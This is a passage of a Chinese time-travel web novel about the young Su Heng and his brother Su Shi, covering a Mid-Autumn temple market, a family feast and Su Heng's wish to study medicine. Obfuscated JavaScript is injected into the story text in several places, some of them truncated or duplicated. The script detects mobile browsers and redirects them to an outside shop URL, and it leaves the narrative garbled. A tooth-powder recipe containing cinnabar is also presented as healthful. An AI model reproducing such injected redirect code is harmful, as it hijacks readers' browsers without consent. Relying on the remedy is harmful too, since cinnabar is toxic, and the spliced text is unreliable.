苏轼已经习惯了阿姐倒腾他的头发,难得安静地坐在榻上,只一心一意地看苏衡练字。终于,苏衡完成了今日的晨课,刚放下毛笔,还没走到塌边,苏轼就巴巴地朝苏衡的方向爬过来了。 “哎,阿弟你别走呀,辫子还没扎好呢。”苏八娘忙抱住苏轼,不让他走。苏轼瞅着心爱的兄长就在眼前,可恶的阿姐却不让他扑上去,吸吸鼻子,作势要哭。 “行了,别闹了。该去用朝食了。”苏衡不容置疑地说。 “是,阿兄。”苏八娘听话地放开苏轼,自己乖乖下了榻。 “昂!”苏轼没扑到苏衡,而是被金蝉抱起,原本十分不高兴地想挣开,一看见苏衡神色,又乖乖地缩回了金蝉怀里。 苏轼那双大眼睛眨呀眨,看着苏八娘能和苏衡并肩走在一起,羡慕极了。呜呜,他什么时候才能学会走路,想和兄长贴贴! · 帘卷西风,黄花空瘦,转眼又是一度秋凉。 窗外秋风肃肃,薄薄的一层窗纸阻挡不了外头的凉意。在这样微冷的清晨里,能抵挡住暖和被窝的诱惑,坚持早起的,都是有大决心,大毅力者。 苏衡盘坐床上,舌抵上颚,下颚微收,沉肩、松腰,徐缓而匀长地呼出一口气,睁开了双眼。 窗外日头开始升高,晨光透过窗棂洒在床上,照亮了一张仍在酣睡的小脸。 苏衡垂眸,轻轻推了推睡着睡着又滚到他这半边床来的苏轼。苏轼紧了紧他的小被子,咂咂嘴,继续沉浸在香甜的睡梦中,丝毫没有起床的意思。 “……” 苏衡耐着性子又推了推那条“春卷”,唤道:“阿弟,该起了。” 苏轼迷迷瞪瞪地睁开眼,看见苏衡,下意识就欢欢喜喜地拱过去,把脸靠在兄长膝旁,又沉沉睡了过去。 “……” 苏衡轻轻叹气,只好自行下床更衣。 等换好了秋衣,苏轼这头小懒猪还在床上呼呼大睡,不愿起来。 苏衡走至房门前,状似不经意地自言自语道:“昨日听青枝说,采莲预订到了上好的膏蟹,今日朝食打算做蟹黄毕罗。刚煎熟的毕罗最是好吃,饼皮吹弹可破,蟹膏鲜美流油。也不知去晚了,还能不能吃上热乎的朝食了。” “!”床榻上的苏轼捕捉到关键词,振奋的精神先于□□苏醒过来。 “什么蟹黄?什么毕罗?我要吃我要吃!” “咚”的一声闷响,原来是苏轼急着起身,却忘记自己用被子把自己卷成了春卷,一时用力过度,滚下了床榻。 毕罗是一种带馅儿的面制点心,呈卷状,两边开口,味道有甜口的,也有咸口的。甜口的毕罗大多蒸制而成,比如樱桃毕罗,蒸熟后半透明的饼皮包裹着深粉的樱桃果酱,很是诱人。苏家女眷更喜欢甜口的毕罗。 咸口的毕罗有肉馅儿的,还有羊肝馅、蟹黄馅的,油煎而成,咸鲜可口。其中,以蟹黄馅的毕罗最是难得。一年之中,也就只有中秋蟹肥膏美之时,采莲会做上那么一两次。平日里,可没有这般口福。 “阿兄!帮帮我!”苏轼越是着急越是无法从被子卷中挣脱,差点把他急出两汪眼泪,巴巴地朝苏衡望过来,无辜的狗狗眼看着很是可怜。 “愿意醒了?”苏衡不紧不慢地走回床榻边,把被子里的苏轼解决出来。 “阿兄,轼儿重,你放轼儿下来,轼儿自己走。”苏轼两只小胖手环着自家兄长的脖颈,贪恋地感受了一会儿兄长的温度,顾及兄长身体,咬咬牙,狠心逼着自己离开了那坚实可靠的胸膛,自己下床穿衣。 是的,苏轼小朋友在阿姐苏轸的刺激下,已经学会自己走路了。 “先去刷牙。”伸手帮苏轼系好衣带,苏衡淡声道。 “哦。”苏轼乖乖点头,下垂的眼尾显得无辜又乖巧。 苏衡兄弟俩各自拿着一支小巧趁手的刷牙子,那是程氏从狮子巷口的凌家刷牙铺专门定制的,苏八娘也有一支。 刷牙铺中的刷牙子都是成人款的,对几岁的孩子来说,无疑是偏大了。但苏衡素来爱干净,实在难以忍受只用那细小的柳枝随意搅弄搅弄,就算清洁过口腔。 等年岁渐长,能够独立刷牙了,苏衡几乎是迫不及待地向程氏提出想要刷牙子的请求。程氏宠他,二话不说就去凌家刷牙铺定制了两支小刷牙子,一支给苏衡,一支给苏轸。 凌大郎也是第一次听客人提出这种要求,反正做一支是做,做一批也是做,他干脆就制作了一批适合孩童使用的小刷牙。 一开始,这批小刷牙都卖不出去,滞销了。不过凌大郎原本就是图个新鲜,也没想着靠这些小刷牙挣钱。谁知某日,眉山城里有孩子的人家忽然都找上门来,说要买小刷牙。当初做好的那批小刷牙还不够卖,凌大郎陆陆续续又做了好几批。 从此,这款小刷牙成为凌家刷牙铺常备的商品。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他记得前世学医古文时,曾在《圣济总录》里看过不少洁牙的方子。像什么揩齿贝齿散、揩齿白芷散、揩齿皂荚散、揩齿丹砂三等等,都是能去口气,益牙齿的方子。不过,《圣济总录》虽然是北宋官修的方书,却是徽宗朝才成书的。现在是仁宗朝,离《圣济总录》问世,还早着呢。 好在他过目不忘,书里的方子他都还记得。等得空了,他把挑一两个好用的揩齿方子默写下来,送给凌大郎。凌家刷牙铺卖的的牙粉也该更新换代了。 苏衡刷完牙,漱了漱口,拿热巾子拭干唇边的水迹。 “阿兄~”苏衡一低头,就见苏轼早早用温水漱过口,仰着一张白嫩的小脸,闭着眼睛,就等着苏衡帮他擦脸了。 苏衡换了条干净的巾子,一边动作轻柔地为苏轼擦脸,一边在心里默背方子。 贝齿、文蛤、石决明、凝水石各一两,丹砂半两,龙脑一分,海蛤三分,一共八味药,全部捣碎研磨成粉,就是《圣济总录》记载的揩齿贝齿散。晨起后临睡前,用这贝齿散来刷牙,能去口气,益牙齿。 贝齿、文蛤、石决明等都是贝壳类中药材,研磨成粉能增加摩擦,类似后世牙膏里的摩擦剂,可以促进洁牙。龙脑指的是龙脑香,又叫冰片,具有清热止痛的功效,与丹砂配伍,对治疗咽喉肿痛和口疮具有一定疗效。凝水石研磨外用,也具有治疗口舌生疮的功效。 就把这个揩齿贝齿散赠与凌大郎好了。 11. 玉局道观 “阿娘,这里好多人呀。”苏轸被程氏抱下车,刚落地站稳,抬眼就看见乌泱泱的人群。 “今日中秋,又恰逢玉局观开市,摆摊的摆摊,游玩的游玩,自然热闹了。”程氏拉着苏轸的小手,笑盈盈地解释道。 正逢年中月半,苏轼一大早就吵着闹着要出去玩,苏洵拿他没办法,又想到玉局观每逢节假日都会开市,今日观中定然热闹有趣,便做主一家人齐齐进城游玩,顺道采买中秋节礼,等到了晚上好带去老宅。 苏洵一家虽然搬到纱縠行居住,但每逢节假日,都会回老宅陪苏序一道过节。今年中秋自然也不例外。苏洵已经想好给苏序买什么节礼了。玉局观有一位道长会酿造一种养生酒,据说饮了能延年益寿。 那酒是否真有这个功效,苏洵摸不准,但是那养生酒的滋味却是相当不错,清醇悠长,饮后回甘。他与常在玉局观中摆摊卜卦的无碍子交好,去年有幸得了一小坛玉局养生酒,那滋味,让他至今念念不忘。 今日中秋,新酒上市。玉局观为了庆贺佳节,也会出售一批新酿成的玉局养生酒。苏洵早早地了消息,就等着排队买酒。 程氏拉着苏轸,苏衡牵着苏轼,采莲和青枝两个婢子也跟在后头手拉手,苏洵两手空空,等了半天,见程氏没搭理他,只好怏怏地走在前头带路。 穿过饰有日月板的灵星门,就到了悬挂“玉局观”匾额的山门殿。山门殿内都是卖花灯的小贩,其中数量最多,最受欢迎的,便是玉局观道长们亲手做的莲花花灯。 这些莲花灯是玉局观的特色商品之一,只有中秋这一日才能买到。玉局观内也已经挂起了一盏盏莲花花灯,清风徐来,花灯左右摇晃,煞是好看。 “阿娘,我想要这个花灯。”美丽的事物总是最讨小娘子们的欢心,苏轸一眼便相中了一盏莲花灯。 “好,阿娘给你买。”程氏对待三个孩子总是会努力做到一视同仁,一碗水端平,生怕哪个孩子受委屈,觉得自己不受重视。买给孩子们的东西,程氏往往都会直接买上三份。 因此,尽管苏衡对花灯表现淡淡,程氏也给他买了一盏。 “谢谢阿娘。”苏衡接过莲花花灯,小心地护着它,不让花灯被旁边的游人碰坏。 苏轼原本更喜欢那个小兔子花灯,但是见兄长很是喜欢莲花灯的模样,也高高兴兴地要了莲花灯。兄长同款花灯,到手!嘿嘿~ 等苏洵回过神来,三个孩子已经人手一盏莲花灯。 苏洵用眼神询问程氏:慧娘,我的花灯呢? 程氏嗔他一眼:都多大岁数了,还想要花灯。 苏家一行人过了山门殿,很快来到三清殿前的大庭院。此处才是玉局观集市最热闹的地方,货物品类也最丰富。 “瞧一瞧,看一看嘞,新鲜的石榴嘞——” “上好的鹅梨,个大香甜,只要十文一斤,走过路过,不要错过——” “卖葡萄咯,皮薄多汁的葡萄,不甜不要钱——” 集市的东南角汇集了许多鲜果商贩,中秋佳节,各式各样的鲜果上市,小贩们招徕客人的吆喝声此起彼伏。 “阿娘,我想吃葡萄!”苏轼的小嗓音脆生生的,在一干粗嗓门的吆喝中显得格外清亮。 “好,阿娘给你买。”程氏笑盈盈地答应了。 “阿娘,我还想吃这个大白梨!”苏轼这个小馋猫看见什么都想吃。 “好,没问题,阿父给你买。”苏洵宠起孩子来,也不遑多让。 “我还要吃那个——”苏轼来劲了,正要开始“水果大点兵”,却听见自家兄长出声了。 “不许多吃,当心蛀牙。”苏衡的声音平平淡淡,却透着不容置喙之意。 “哦。”苏轼鼓起小脸,委委屈屈,但很听兄长的话。 采莲和青枝跟在后头,彼此对视一眼,心照不宣地偷笑起来。果然一物降一物,要治四郎君,还得要三郎君出马。 “慧娘,你与孩子们在此稍后,我去买坛玉局养生酒,去去便回。”苏洵一抬眼,就望见三清殿前,玉局观的道长们开始支起卖酒的摊子,挂上红底黄边的酒旗。摊子还没完全支好,好酒的郎君们已经开始自觉地排起了队,就等着买酒。 玉局观卖酒摊上的两面酒旗迎风招展,一面旗上写着“仙露”,另一面上写着“琼浆”。苏洵忙大步往前,加入到买酒的队伍中去。 程氏买了石榴和葡萄,正打算就近寻个茶摊坐下,和孩子们一边吃茶一边等苏洵买酒归来,就听见一个满含惊喜的声音从身后响起。 “程娘子?这是在带两位小郎君逛草市呢?”来人却是凌家刷牙铺的铺主,凌大郎。 两人寒暄了一番,凌大郎这才蹲下身来,拿出一个小盒子,递给苏衡:“三郎,这是我前段时间根据你给我的方子,调配出的牙粉。熟客们用了都说洁牙效果比旧的牙粉好了太多。这一盒是我做出来品质最好的牙粉,给你带回家用。” 苏轼好奇地凑过来,吵嚷着让兄长打开看看。 “此处风大,回去再看。”苏衡不为所动,收好牙粉,礼貌地向凌大郎道谢。 “客气什么!多亏了你俩,我铺子里的小刷牙卖得很好,最近甚至还有邻县的人慕名来买呢。”凌大郎厚实有力的大手重重拍了拍苏衡的肩膀。 苏衡眉梢微动,神色不变。 反倒是一旁紧紧挨着兄长的苏轼皱起了眉毛,大声指责道:“凌叔叔,你别那么用力呀!我阿兄都被你拍疼啦!” “哎哟,实在不好意思,我都没注意。”凌大郎忙收起手,挠着头讪讪一笑。 苏轼皱皱鼻子,煞有介事地叮嘱:“这还差不多,下次要注意!” “是是是。”凌大郎连声答应,看向程氏,笑道,“程娘子,你家三郎和四郎感情可真好啊。” 程氏掩唇轻笑:“轼儿从小黏着衡儿,连我都要往后靠的。” “阿娘,阿父怎么还没好呀。我想尿尿。”苏轼今早出发前喝了不少温水,现下起了尿意,五官难受得皱成一团。 “过了这三清殿,西侧的角落里就有一个茅厕。程娘子,您还要看顾八娘,不如我带令郎过去吧。”凌大郎主动提出想要帮忙。 “那就劳烦您了。” “我想要阿兄陪我去。”苏轼拉着苏衡不肯放手。 苏衡:“……” 程氏笑骂:“就去个茅厕的功夫,这也要拉上你阿兄。怎不见你那么黏阿娘!”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358182|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “阿娘……”苏轼撒娇。 “行了行了,快去吧。”程氏没好气地摆摆手,“衡儿,辛苦你陪这黏人精走一遭了。” · 苏衡陪着苏轼,在凌大郎的带领下去了趟茅厕。苏轼上完茅厕提裤子出来,一边洗手,一边东张西望,竟被他发现一扇虚掩的角门。 “阿兄,那里有扇门哎,我们过去看看吧。”苏轼好奇宝宝上身,缠着苏衡要去一探究竟。 “看一眼便回去,否则,阿娘和阿妹她们要等着急了。”苏衡拗不过苏轼,只好依他。 “没事,有我看着呢,四郎丢不了。我也是第一次知道此处还有一个隐蔽的角门,去看看花不了多长时间的。”凌大郎开口道。 三人走至门前,轻轻推开虚掩的门,只觉一阵清风拂面,门后竟是一群身穿道袍的道长,动作整齐划一地在做操。这一派闲适悠然的情形,与三清殿前热闹的集市形成鲜明对比。 苏衡一眼望去,发觉玉局观的道长们在练的功法竟十分像后世的“八段锦”。只见道长们两脚张开,与肩同宽,双手徐徐上托,又缓缓落下。 “阿兄,道长们在跳舞!”苏轼吃惊地瞪圆了眼睛,凑在苏衡耳边小声嘀咕。 “四郎君,这可不是舞蹈。道长们这是在练功呢。咱们快走吧,偷看道长们的公安,若是被发现了可就糟了。”凌大郎也压低了声音,带着苏家兄弟速速离开。 “阿兄,道长们练了这个神功是不是就会飞了?”在回茶摊的路上,苏轼兴奋地和苏衡探讨。 “不是。” “啊——?那练这个有什么用呢?“苏轼很是失望。 “不知。”苏衡垂下眼帘。 前世收养他的老道士也有打八段锦的习惯。受老道士的影响,他对八段锦的一招一式都了然于心。比如方才他们匆匆一撇,看见的那一式,在后世叫做——双手托天理三焦,这组动作可以拉伸手臂与肩背,能够通畅三焦,调和气血。 长期练八段锦,可以强身健体,防治病痛,因此八段锦才有了“千年长寿操”的美名。其实他一直想让苏家人养成打八段锦的习惯,不说延年益寿,至少能提升身体的免疫力。但是他又没办法解释这套功法的由来,只好作罢。 这次出来,没想到撞见玉局观的道长们在练功法,颇有后世立式八段锦的雏形。也许,可以借这此机会…… “阿兄?阿兄!”苏轼见苏衡没反应,加大了声音。 苏衡回过神来,才发现竟不知不觉间回到了茶摊。苏洵也终于买到了心心念念的玉局养生酒,回到茶摊与他们会面。 “既然苏二郎君回来了,那我便不打扰了。在下告辞。”凌大郎之前被苏洵“凡尔赛”式炫儿给炫怕了,从此远远见着苏洵便抬腿就走。方才是看见苏洵不在,这才敢上前搭话,把按照苏衡所赠揩齿贝齿散方做成的牙粉送给苏衡,当做谢礼。 “吓死了,差点被苏明允拉住。”凌大郎后怕地拍拍心口。 不过话说回来,苏三郎的确聪慧过人,小小年纪就已经能读会写。别人看闲书就是打发时间,他看闲书却能从书中发现实用的方子,还能想到用那方子来做牙粉。 真是后生可畏啊。 12. 中秋家宴 “慧娘,你有什么想要的吗,为夫为你买来。”好酒到手,苏洵心满意足。三个孩子也得了花灯和瓜果,唯独程氏什么也没有买。 “倒也没什么想要的。”程氏思考了一会儿,笑道,“有了,洵郎你常与我说起无碍子卜师的卜卦摊子,我还未去过,想去看看。 “这个简单,你们随我来。”当年,苏洵那副求子张仙像就是在无碍子的卜卦摊买的,对那卜卦摊的位置烂熟于胸,七拐八拐地,就带着一家人到了卜卦摊前。 无碍子刚给一位算姻缘的小娘子算了一卦,抬眼便看见苏洵,笑了笑:“苏二郎君,这次可买到了玉局养生酒?” “早早来排队,有幸买到两坛。”苏洵用手比了个数字。 无碍子抚须大笑,一低头,就看见苏家的两个小郎君,笑声戛然而止。 秋日的阳光恍若金纱,温柔地披洒在苏家两兄弟身上。苏衡的眼睫长而卷翘,阳光落于其上,眨动之间,像是鸦羽抖落一地的碎金。才四岁稚龄,却已能依稀辨出日后的风采。 无碍子眯起眼睛:“这位,就是你家三郎吧?好个俊俏小郎君,长大了,不知要惹得多少小娘子芳心暗许。” “什么小娘子?!”苏轼正和兄长贴贴,突然听到这话,顿时警觉,脑袋上仿佛有两只尖尖的狗狗耳朵“嗖”地一下立起。 无碍子没搭理苏轼,深深地看苏衡一眼,转头对苏洵道:“听说,你家三郎把你那副张仙像给剪坏了?” 苏洵与程氏对视一眼,十分惊奇:“此事发生于我房中,我夫妻二人并未对外人言说。道长是听谁说的?” “呵呵”,无碍子笑了两声,从怀里掏出三枚铜钱,往上颠了几下,“自然是听卦象说的。” “道长好手段”,苏洵赞叹,“自请回了张仙像,我日日上香供奉。张仙着实灵验,近些年,我接连得子,如今有二子一女,我已然满足。” “是么?”无碍子神秘笑笑,把手里的三枚铜钱往上一抛,“乓!乓!乓!”,三枚铜钱接连落于桌上,全部都是正面朝上。 “可是,卦象告诉我,苏二郎君您与尊夫人,命中还会有一子呢。” “啊?”苏洵大惊失色,差点把手里的酒给砸了。 · “阿娘,我这次是不是可以有一个妹妹啦?”苏轸摸摸程氏的肚子,期待的问。 “也许是弟弟呢。弟弟也很好。”苏轼插嘴道。要是弟弟像兄长一样,最好! “妹妹好!妹妹可爱!”苏轸回头看着苏轼,不满地说。 “弟弟好!妹妹麻烦!”苏轼不甘示弱。 “没影子的事,阿娘现在没有怀小宝宝,你们两个不要吵了。”苏轸和苏轼为了程氏肚子里是“弟弟”还是“妹妹的事争了一路,程氏给他们闹得头疼。 “就是,你们阿娘可没怀孕,别胡说。”苏洵严肃地警告女儿和小儿子,眼神却一直在往长子的方向瞟。 苏衡看出来了,但并不想说话。他知道,苏洵是在担心他生气。之前程氏生下苏轸不到一年,又怀上苏轼,苏衡当时就生了苏洵很大一场气,还把苏洵心爱的张仙像给剪了。苏洵为了哄好他,还写过保证书,保证近两年内都不再让程氏怀孕遭罪。 但苏洵不知道的是,苏衡听了无碍子的卜算结果,并没有生气。 三苏之家,怎么能少了子由。不用无碍子算卦,他也知道苏洵和程氏一定会再生孕一个儿子。不过,他记得历史上的苏辙和苏轼差了有三岁。所以,程氏并不会那么快怀上四胎。 苏衡淡淡地看苏洵一眼,并不打算把这点告诉苏洵。就让他这位阿父紧张一下吧。 驴车载着苏洵一家与大包小包的中秋节礼,从城里回到眉山,直接停在了苏家老宅门口。 “祖父——我们来啦——”刚下车,还没进门呢,苏轼就激动难耐地吼了一嗓子。 年中月半佳节至,阖家围炉话婵娟。苏家的中秋家宴,也伴随着苏轼这一嗓子,拉开了序幕。 此时,苏家老宅内烛火通明,恍如白昼。朦胧月色下,地上的人影一片散乱,那是婢子们在厨房与庭院间来回走动的形成的光影。时令鲜果、各色点心、美酒佳肴纷纷被摆上圆桌,惹得孩子们偷偷地吞咽口水。 苏家新买的几盆秋菊就放在庭院东南角,这些被金风染黄的花儿们正兀自昂首,欣赏着墨蓝天际的一轮圆月。 “二弟,不许偷吃!你都多大人了,先生平日里是怎么教你的?”苏家大郎苏不欺用灯杆抽了下试图偷吃点心的苏不疑。 苏大郎如今已长成翩翩少年郎,正与程之言一起给几个弟弟妹妹们做花灯。苏二郎也被分配了摆碗筷和驱赶蚊蝇的任务,但饭菜太香,苏二郎一时没忍不住,监守自盗了。 “啊!痛!言大哥救我!”苏不疑缩回手,一溜烟躲到程之言身后,吹了吹自己有些泛红的手背,探出半张脸,用眼神谴责自家长兄。 程之言在苏家长住,与苏不欺和苏不疑相处得十分融洽,不是亲兄弟胜似亲兄弟。再加上程之言与苏不欺年岁相当,又一同在眉山天庆观的书院上学,因此与苏不欺关系最好。 “言大哥救我!”苏不疑见苏不疑举着灯杆试图继续教训他,连忙缩回程之言身后,凄声大喊。 “不欺,你别打他。”程之言出声,为苏不疑说了句好话。 苏不欺恨恨地放下灯杆,白了自家亲弟一眼:“别老是找之言当你的挡箭牌,你多大了,也该懂事了。家里几个孩子,就你最皮!你看那边,连最小的四郎都比你规矩。” 挨着苏衡坐的苏轼闻言,骄傲地挺起小胸脯。虽然他也很想吃点心,但是点心哪里比得上他兄长,兄长让他乖乖坐着他就乖乖坐着,听话的好孩子才可以和兄长贴贴! “阿兄,你听,大堂兄夸我规矩耶~”苏轼抬手指了指自己,很是得意。 “嗯。”苏衡颇有深意地看他一眼。 方才,看见二堂兄挨打,他阿弟笑得可是开心极了。 “这孩子都睡了大半天了,好不容易醒了,吃完奶又睡过去了。”杨氏抱着刚出生没几个月的苏五郎,本想让程氏看看,没想到这个孩子刚吃饱奶立刻入睡,怎么都叫不醒。杨氏无法,只好让乳娘抱着苏五郎回屋。 借着月色,苏衡看清了杨氏的面色,心道不妙。 大伯苏涣 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洗手蟹只有大人可以吃,小孩子们只能吃清蒸的。苏不疑和苏轼不服,撒娇打滚试图让大人们同意让他们也尝上一口,被苏洵无情镇压:“不行。你们还小,吃蟹生可能会吃坏肚子,只许吃清蒸蟹。” 苏轼不信,大人吃得为什么小孩吃不得。大人怎么就不会吃坏肚子!于是,他眼巴巴地望向苏衡求证。 苏衡点头:“螃蟹性寒,生食更甚,易引起腹泻。” 这个洗手蟹得名于其烹制的便利性,食客洗个手的功夫就可以食用。做法也简单,生蟹洗净剁碎,用麻油熬熟,待其冷却,把草果、茴香、砂仁、花椒、水姜、胡椒一起捣成末,再加入葱、盐和醋,放入蟹内拌匀,即时可食。 好吧……苏轼沮丧了一会儿,吃到苏衡给他剥的蟹肉后,很快又高兴起来。清蒸蟹也很好吃!而且兄长亲自剥的蟹肉甚是鲜美! “阿兄,你也吃!”苏轼举着一条鲜美的蟹腿肉,递到苏衡嘴边。 苏衡心知如果他不吃,苏轼说不准又要闹,便低头咬了一小口。 “嘿嘿~”苏轼心满意足地收回还剩大半的蟹腿肉,啊呜一大口吃了个干净。 苏不疑见了,眼珠子一转,剥了一条蟹腿肉,也学着小弟递给苏不欺,贱兮兮又故作肉麻地说:“阿兄~你也吃~~” 苏不欺脸色一黑:“找打!” 苏不疑吓得立刻缩手,小声嘀咕:“不吃就不吃嘛,凶巴巴的。之言哥,你看看他!” “是你主动招惹的。”程之言语气平静地陈述事实。 “哼,你们一伙儿的。”苏不疑自讨没趣,恶狠狠地咬了一口蟹腿肉泄愤。 和小郎君们比起来,苏家的小娘子们就和谐多了。苏二娘很有长姐的风范,很是照顾最小的苏轸,贴心地为她夹菜。苏四娘、苏六娘与苏七娘很是文静腼腆,一直安安静静地用饭,不给大人们添乱。 苏家一大家子就老宅在庭院中围坐用饭,谈笑赏月,其乐融融。 此时,夜空中一轮圆月高悬,如水的月色温柔地照亮人间。苏衡看着天上的明月,脑海中不由浮现出一段前尘往事来。 13. 往事前尘 中秋月圆,家家庆团圆,到处都是欢声笑语,热闹无比。 位于郊区的遂溪儿童福利院却冷清一片,别说节日的花灯,就连最普通的一个纸灯笼也没挂上。唯有大门上掉漆的招牌,在夜风中发出摇摇欲坠的声音。 月色皎洁,照得福利院的水泥地面亮堂堂一片。一只小手慢吞吞地抓住被漆成黑色的围栏,小小的身子在围栏前站定,地面上顿时现出一道瘦长瘦长的影子。 这男孩是个孤儿,从小没了双亲。院长在福利院门口捡到他时,他已被冻得四肢僵硬。好在福利院对面便是一座道观,观内老道士颇通医术,立刻开了一道当归四逆汤,将人救了回来。 男孩此时久久凝望的,正是对面长乐观亮起的一盏微弱烛火。 夜风微凉,不知过了多久,观门缓缓打开,一位身着灰色道袍的老道士步履蹒跚地提着灯笼出来了。 “外头冷,你提前那么早出来做什么。”老道士年事已高,声音苍老而略带嘶哑。 “不冷。”男孩仰起头,黑玉般的眼睛里映照着灯笼的微光。 “喏,豆沙馅儿的,太甜了我不爱吃。你拿回去分了,不要在外头吹风。”老道士从怀中取出一个巴掌大的月饼,直接塞进男孩怀里。 “走,快回去。”老道士摆摆手。 男孩拗不过老道士,只好捧着月饼离开。走上最后一级台阶时,男孩脚步一顿,回头望了一眼。 月光把老人的身影拉得很长很长,孤零零的影子慢吞吞地往前进,一步,一步,又一步,直至被道观庞大的阴影所吞没。 每年中秋,老道士都会来送月饼。那月饼从来都是豆沙馅儿的,许是加多了工业糖精,齁甜。但是,那是男孩记忆里,独属于中秋的味道。 “衡儿,这果子合口不?知道你不爱吃甜,你的这份特意嘱咐厨子少放了糖。”程氏的声音温温柔柔,瞬间将苏衡从前世的中秋记忆里唤了回来。 苏衡轻轻眨眼,低头咬了一口果子,表皮软和,馅料绵密,是豆沙馅儿的。 抬首环顾,祖父与阿父在举杯对饮,二堂兄与阿弟在争抢着一只肥美的蟹腿,堂姐们与阿妹早已吃饱,正兴致勃勃地准备拜月乞巧的物什。还有——阿娘,笑意盈盈,正垂眸看他。 前世尘雾散开,眼前正是灯火如昼,热闹人间。 苏衡又咬了一口豆沙果子,微甜的滋味在舌尖扩散:“嗯,很好吃。” 一大家子人说说笑笑,直至夜深,今年的中秋家宴才彻底宣告落幕。才几个月大的五郎早就被乳娘摇着小摇篮,醒了睡,睡了醒,反复不知多少回了。六娘、七娘还有苏轸这些年纪尚小的小娘子们,一个个地也生了困意,眼皮子都耷拉下来了。 “阿兄……二堂兄抢我蟹腿……”苏轼早就进入了梦乡,抱着苏衡的胳膊当枕头,嘴里喃喃说着梦话。 “我看孙儿孙女们都困了,今夜就在老宅住上一晚,明日再回纱縠行吧。”苏序对苏洵说道。 “是。”苏洵恭谨地颔首。 程氏与杨氏各自领着自家的孩子回房安顿,苏轼也被苏洵抱回床上安睡。 “阿父,我有话想和您说。”苏衡等苏洵安顿好苏轼,这才握紧手心,上前与他对话。 苏洵面露诧异:“何事?要紧吗?”现在已经很晚了,苏洵想不到长子有什么非说不可,连明日再说都等不及的事情。 “于我而言,要紧。”苏衡目光坚定地点头。许是今夜月色惑人,苏衡等不及明日,想当晚就想把心中决定告诉苏洵。 “好吧,你跟我来。”苏轼在床上呼呼大睡,房中并不适合说话,苏洵领着苏衡走至外头庭院。院中静谧一片,疏疏落落的几盆□□开得正盛。 “衡儿想说何事?”苏洵用眼神示意。 苏衡轻轻呼出一口气,黑玉色的眸子不闪不避地与苏洵对视,沉声道:“阿父,我想学医。” 学医?苏洵此时还没意识到问题的严重性,只以为是长子一时兴起,想要多学一门技艺,沉吟片刻,爽快答应:“可以。明日为父有空,去城中书坊替你买些医书回来。你既然感兴趣,闲暇时当做闲书看看也无不可。” 苏衡一听便知苏洵误会了,解释道:“阿父,我的意思是,我想弃文从医。” 什么?苏洵愣了一下,旋即大怒。 苏衡自幼懂事聪慧,苏洵对长子很是宠爱,从来不舍得生长子的气。除了幼时苏衡将他房中张仙像剪坏的那次,苏洵从未对苏衡发过脾气。 苏衡从小聪慧过人,过目不忘,生来就是个读书的好苗子。苏洵原本寄望苏衡能够像他二伯父苏涣一样考取进士,出人头地,没想到…… 苏洵勃然大怒:“你说什么?再说一遍?!” 苏衡握了握拳头,眸光坚定,清晰无比地说:“我想弃文从医。” 苏洵痛心疾首,捂着心口,脸上满是失望:“为父对你寄予厚望,你却突然说要放弃读书改去学医。你总得给我一个合理的理由!” 苏衡沉默半晌。 比起登科及第,位极人臣,前世没感受过亲情温暖的他更看重自己的家人。自他出生以来,得祖父关心,享父母爱护,感兄弟姊妹情谊,他已别无他求。惟愿家人,平安喜乐,一世无忧。 只是——天不遂人愿。前世,他虽不是文史专业的学生,但他有一位挚交好友是个骨灰级“东坡迷”。因为有这位好友老在耳边叨叨东坡事迹,苏衡对三苏未来的命运比一般人要了解得更深入些。 史载,1047年,苏序逝世。1057年,程氏身亡。1066年,苏洵亡故。基本上,每十年,苏轼就会有一位至亲离世。 如果他重新开始学医,结合前世的医术,也许有机会能延长至亲的寿命。 思及此,苏衡缓缓道:“学医可以救人,读书于我无用。” “这是什么理由!天下的郎中都死绝了不成,偏等着你来救人?!”苏洵觉得长子简直不可理喻。也罢,衡儿现在年纪尚小,等以后他便知道了。 “今日中秋,正值喜庆佳节,我不欲与你争辩。学医之事,等之后再议。”苏洵略感心累地摆摆手。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14358184|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>苏衡启唇欲言,见苏洵脸色不佳,到底还是没有再坚持。 · 次日,苏洵一家收拾妥当,离开老宅,回了纱縠行。 苏衡记挂着昨夜之事,一直默默跟在苏洵身后,用一双坚定的眼睛默默盯着苏洵。程氏看出了蹊跷,奇道:“这是怎么了?衡儿你与你阿父在打什么哑谜呢?” “我想学医,阿父不许。”苏衡直接说了出来。 “胡闹!你有读书的天分,旁人羡慕都羡慕不来,你却舍弃不要,跑去学医!为父决不允许!”苏洵勃然大怒,一双长眉倒竖,指着长子想骂又不忍骂。 昨晚,苏洵一夜没睡,在床上翻来覆去地想苏衡的事,无论如何也想不通。今早憋着一股气起床了,现在整个人如同一个炸药桶,一点就炸。 “阿父……”苏衡用恳求的眼神看向苏洵。 “你!你是想气死为父!”苏洵狠狠地叹一口气,放下手指,拂袖离去。 “洵郎!”程氏意识到这件事的严重性,拍拍苏衡的肩膀以示安抚,匆匆追了上去。 苏家三小只留在原地,六目相对。 苏轼昨晚熬了夜,今早起来原本还有些困倦,见到苏洵与苏衡闹矛盾,一下子清醒了。 